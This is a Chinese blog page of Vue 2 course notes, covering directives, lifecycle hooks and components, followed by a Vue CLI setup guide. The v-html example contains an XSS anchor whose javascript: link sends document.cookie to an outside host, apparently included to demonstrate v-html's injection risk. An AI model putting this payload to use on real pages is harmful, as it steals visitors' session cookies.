data:{ msg:'hello,atguigu!' } }) </script> </html> 十五、内置指令1.v-text_指令<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-text指令</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <div>你好，{{name}}</div> <div v-text="name"></div> <div v-text="str"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷', str:'<h3>你好啊！</h3>' } }) </script> </html> 2.v-html_指令<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-html指令</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <div>你好，{{name}}</div> <div v-html="str"></div> <div v-html="str2"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷', str:'<h3>你好啊！</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>', } }) </script> </html> 3.v-cloak_指令<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-cloak指令</title> <style> [v-cloak]{ display:none; } </style>  </head> <body>   <div id="root"> <h2 v-cloak>{{name}}</h2> </div> <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> </body> <script type="text/javascript"> console.log(1) Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' } }) </script> </html> 4.v-once_指令<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-once指令</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2 v-once>初始化的n值是:{{n}}</h2> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 } }) </script> </html> 5.v-pre_指令<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-pre指令</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2 >当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 } }) </script> </html> 十六、自定义指令1.自定义指令<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>自定义指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2>{{name}}</h2> <h2>当前的n值是：<span v-text="n"></span> </h2>  <h2>放大10倍后的n值是：<span v-big="n"></span> </h2> <button @click="n++">点我n+1</button> <hr/> <input type="text" v-fbind:value="n"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //定义全局指令 /* Vue.directive('fbind',{ //指令与元素成功绑定时（一上来） bind(element,binding){ element.value = binding.value }, //指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, //指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } }) */ new Vue({ el:'#root', data:{ name:'尚硅谷', n:1 }, directives:{ //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。 /* 'big-number'(element,binding){ // console.log('big') element.innerText = binding.value * 10 }, */ big(element,binding){ console.log('big',this) //注意此处的this是window // console.log('big') element.innerText = binding.value * 10 }, fbind:{ //指令与元素成功绑定时（一上来） bind(element,binding){ element.value = binding.value }, //指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, //指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } } } }) </script> </html> 2.回顾一个DOM操作<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Document</title> <style> .demo{ background-color: orange; } </style> </head> <body> <button id="btn">点我创建一个输入框</button> <script type="text/javascript" > const btn = document.getElementById('btn') btn.onclick = ()=>{ const input = document.createElement('input') input.className = 'demo' input.value = 99 input.onclick = ()=>{alert(1)} document.body.appendChild(input) input.focus() // input.parentElement.style.backgroundColor = 'skyblue' console.log(input.parentElement) } </script> </body> </html> 十七、生命周期1.引出生命周期<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>引出生命周期</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2 v-if="a">你好啊</h2> <h2 :style="{opacity}">欢迎学习Vue</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ a:false, opacity:1 }, methods: { }, //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted mounted(){ console.log('mounted',this) setInterval(() => { this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 },16) }, }) //通过外部的定时器实现（不推荐） /* setInterval(() => { vm.opacity -= 0.01 if(vm.opacity <= 0) vm.opacity = 1 },16) */ </script> </html> 2.分析生命周期<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>分析生命周期</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root" :x="n"> <h2 v-text="n"></h2> <h2>当前的n值是：{{n}}</h2> <button @click="add">点我n+1</button> <button @click="bye">点我销毁vm</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', // template:` // <div> // <h2>当前的n值是：{{n}}</h2> // <button @click="add">点我n+1</button> // </div> // `, data:{ n:1 }, methods: { add(){ console.log('add') this.n++ }, bye(){ console.log('bye') this.$destroy() } }, watch:{ n(){ console.log('n变了') } }, beforeCreate() { console.log('beforeCreate') }, created() { console.log('created') }, beforeMount() { console.log('beforeMount') }, mounted() { console.log('mounted') }, beforeUpdate() { console.log('beforeUpdate') }, updated() { console.log('updated') }, beforeDestroy() { console.log('beforeDestroy') }, destroyed() { console.log('destroyed') }, }) </script> </html> 3.总结生命周期<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>引出生命周期</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2 :style="{opacity}">欢迎学习Vue</h2> <button @click="opacity = 1">透明度设置为1</button> <button @click="stop">点我停止变换</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ opacity:1 }, methods: { stop(){ this.$destroy() } }, //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted mounted(){ console.log('mounted',this) this.timer = setInterval(() => { console.log('setInterval') this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 },16) }, beforeDestroy() { clearInterval(this.timer) console.log('vm即将驾鹤西游了') }, }) </script> </html> 十八、非单文件组件1.基本使用<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>基本使用</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <hello></hello> <hr> <h1>{{msg}}</h1> <hr>  <school></school> <hr>  <student></student> </div> <div id="root2"> <hello></hello> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //第一步：创建school组件 const school = Vue.extend({ template:` <div class="demo"> <h2>学校名称：{{schoolName}}</h2> <h2>学校地址：{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, // el:'#root', //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。 data(){ return { schoolName:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.schoolName) } }, }) //第一步：创建student组件 const student = Vue.extend({ template:` <div> <h2>学生姓名：{{studentName}}</h2> <h2>学生年龄：{{age}}</h2> </div> `, data(){ return { studentName:'张三', age:18 } } }) //第一步：创建hello组件 const hello = Vue.extend({ template:` <div> <h2>你好啊！{{name}}</h2> </div> `, data(){ return { name:'Tom' } } }) //第二步：全局注册组件 Vue.component('hello',hello) //创建vm new Vue({ el:'#root', data:{ msg:'你好啊！' }, //第二步：注册组件（局部注册） components:{ school, student } }) new Vue({ el:'#root2', }) </script> </html> 2.几个注意点<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>几个注意点</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h1>{{msg}}</h1> <school></school> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //定义组件 const s = Vue.extend({ name:'atguigu', template:` <div> <h2>学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2> </div> `, data(){ return { name:'尚硅谷', address:'北京' } } }) new Vue({ el:'#root', data:{ msg:'欢迎学习Vue!' }, components:{ school:s } }) </script> </html> 3.组件的嵌套<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>组件的嵌套</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //定义student组件 const student = Vue.extend({ name:'student', template:` <div> <h2>学生姓名：{{name}}</h2> <h2>学生年龄：{{age}}</h2> </div> `, data(){ return { name:'尚硅谷', age:18 } } }) //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2> <student></student> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, //注册组件（局部） components:{ student } }) //定义hello组件 const hello = Vue.extend({ template:`<h1>{{msg}}</h1>`, data(){ return { msg:'欢迎来到尚硅谷学习！' } } }) //定义app组件 const app = Vue.extend({ template:` <div> <hello></hello> <school></school> </div> `, components:{ school, hello } }) //创建vm new Vue({ template:'<app></app>', el:'#root', //注册组件（局部） components:{app} }) </script> </html> 4.VueComponent<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>VueComponent</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <school></school> <hello></hello> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, methods: { showName(){ console.log('showName',this) } }, }) const test = Vue.extend({ template:`<span>atguigu</span>` }) //定义hello组件 const hello = Vue.extend({ template:` <div> <h2>{{msg}}</h2> <test></test> </div> `, data(){ return { msg:'你好啊！' } }, components:{test} }) // console.log('@',school) // console.log('#',hello) //创建vm const vm = new Vue({ el:'#root', components:{school,hello} }) </script> </html> 5.一个重要的内置关系<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>一个重要的内置关系</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <school></school> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 Vue.prototype.x = 99 //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2> <button @click="showX">点我输出x</button> </div> `, data(){ return { name:'尚硅谷', address:'北京' } }, methods: { showX(){ console.log(this.x) } }, }) //创建一个vm const vm = new Vue({ el:'#root', data:{ msg:'你好' }, components:{school} }) //定义一个构造函数 /* function Demo(){ this.a = 1 this.b = 2 } //创建一个Demo的实例对象 const d = new Demo() console.log(Demo.prototype) //显示原型属性 console.log(d.__proto__) //隐式原型属性 console.log(Demo.prototype === d.__proto__) //程序员通过显示原型属性操作原型对象，追加一个x属性，值为99 Demo.prototype.x = 99 console.log('@',d) */ </script> </html> 十九、单文件组件单个点Vue文件，这里省略......后面知识点详见课程文件笔记尚硅谷张天禹老师vue课程资料。免责声明：此笔记来源尚硅谷张天禹老师vue课程资料，放在这里仅供方便学习使用。课程视频连接：https://www.bilibili.com/video/BV1Zy4y1K7SH?p=1欢迎关注本站微信公众号“51学代码”
- 2022年05月27日
- 44 阅读
- 0 评论
- 0 点赞
2022-05-27
Vue项目环境搭建项目环境安装一、学习Vue点击进入Vue官网：https://cn.vuejs.org/二、工具Node.js安装（1）打开官方网站：https://nodejs.org/en/（2）选择对应的node版本进行下载（3）安装node.js后，进行版本检查三、使用VsCode开发工具新建Vue项目（1）新建项目文件夹，名字为:MyShop（2）选中文件夹，反键使用VsCode打开项目（3）使用ctrl+~打开终端命令（4）使用淘宝镜像执行cnpm命令 npm install -g cnpm --registry=https://registry.npm.taobao.org 注：因为npm是国外的服务，用起来比较卡。需要换成淘宝的cnpm（5）全局安装vue脚手架 cnpm install -g vue-cli 会提示一下报错：解决办法如下：管理员身份打开powerShell 输入set-ExecutionPolicy RemoteSigned ，回车输入Y，回车再次安装vue脚手架cnpm install -g vue-cli（6）全局安装webpack cnpm install -g webpack 注意：第一次安装时，步骤不能乱，一定不能乱！（7）新建项目 vue init webpack +项目名注意：项目名字一定要小写，大写会报错（8）安装图解注意：ESlint(严选模式)一定要选NO，否则心态爆炸！（9）执行cnpm命令 cnpm install注意：必须执行此命令，要不然一直会报错（10）运行项目 npm run serve参考文档：https://www.jianshu.com/p/02b12c600c7bhttps://www.cnblogs.com/zyskr/p/10609288.html四、使用vue create 创建项目vue create 是vue-cli3.x的初始化方式，模板是固定的，模板选项可自由配置使用方式：vue create 加项目名称默认选择default方式即可五、vue创建项目之vue init 和 vue create的区别vue init 是vue-cli2.x的初始化方式，可以使用github上面的一些模板来初始化项目webpack是官方推荐的标准模板名使用方式：vue init webpack 项目名称vue create 是vue-cli3.x的初始化方式，模板是固定的，模板选项可自由配置使用方式：vue create 项目名称webpack init 创建，其项目目录为：目录说明:build及config：webpack配置相关 node_modules:通过npm install安装的依赖代码库 src：项目源码 static：存放静态资源 .babelrc：babel相关配置（因为我们的代码大多都是 ES6，而大多浏览器是不支持ES6的，所以我们需要babel帮我们转换成ES5语法） .editorconfig：编辑器的配置，可以在这里修改编码、缩进等 .eslintignore：设置忽略语法检查的目录文件 .eslintrc.js：eslint的配置文件 .gitignore：git忽略里面设定的这些文件的提交 index.html：入口html文件 package.json：项目的配置文件，用于描述一个项目，包括我们init时的设置、开发环境、生成环境的依赖插件及版本等。 package-lock.json：普通package.json文件“^2.0”这样写的，意味着版本可以大于等于2.0，如此就会出现各种错误。使用vue create 创建，其项目目录为：目录说明:build及config：webpack配置相关 node_modules:通过npm install安装的依赖代码库 src：项目源码 static：存放静态资源 .babelrc：babel相关配置（因为我们的代码大多都是 ES6，而大多浏览器是不支持ES6的，所以我们需要babel帮我们转换成ES5语法） .editorconfig：编辑器的配置，可以在这里修改编码、缩进等 .eslintignore：设置忽略语法检查的目录文件 .eslintrc.js：eslint的配置文件 .gitignore：git忽略里面设定的这些文件的提交 index.html：入口html文件 package.json：项目的配置文件，用于描述一个项目，包括我们init时的设置、开发环境、生成环境的依赖插件及版本等。 package-lock.json：普通package.json文件“^2.0”这样写的，意味着版本可以大于等于2.0，如此就会出现各种错误。总结vue create和vue init 的区别vue create 是vue-cli3.x的初始化方式，目前模板是固定的，模板选项可自由配置百，创建出来的是vue-cli3的项度目，与cue-cli2项目结构不同，配置方法不同，具体配置方法参考官方文档网页链接。vue init 是vue-cli2.x的初始化方式，可以使用github上面的一些模板来初始化项目，webpack是官方推荐的标准模板名。vue-cli2.x项目向专3.x迁移只需要把static目录复制到public目录下，老项目的src目录覆盖3.x的src目录(如果修改了配置，可以查看文档，用cli3的方法进行属配置)。运行方式：2.0是通过npm run dev 3.0是npm run serve 至于为什么会变，来看一下package.json文件找到script可以自行修改。文件夹目录：3.0取消掉了config目录、build目录、static目录 ,还有最重要的一点，3.0的安装项目时自动下载node-modelvue.config.js也没了，需要手动添加。六、vue cli2升级到vue cli31.先升级npm的版本npm install -g npm2.再卸载之前的vue cli 2.9.6npm uninstall -g @vue/cli3.下载最新的vue cli版本npm install -g @vue/cli七、安装饿了么UI前端框架cnpm i element-ui -S八、安装less和sass预处理（1）：cnpm install less@3.9.0 -s （2）：cnpm install less-loader@5.0.0 -s注意：一定要写版本号，否则less自动安装最新版本，会和vue-cli不兼容一直报错。解决报错的话使用cnpm install重新安装一遍！九、安装axios（1）：cnpm install axios（2）：cnpm install --save axios vue-axios注意：不安装axios的话，不能使用post/get等提交方式，会报错！文字高亮及提示插件：在Vscode中安装Vetur，写组件时，只需
- 2022年05月27日
- 48 阅读
- 0 评论
- 0 点赞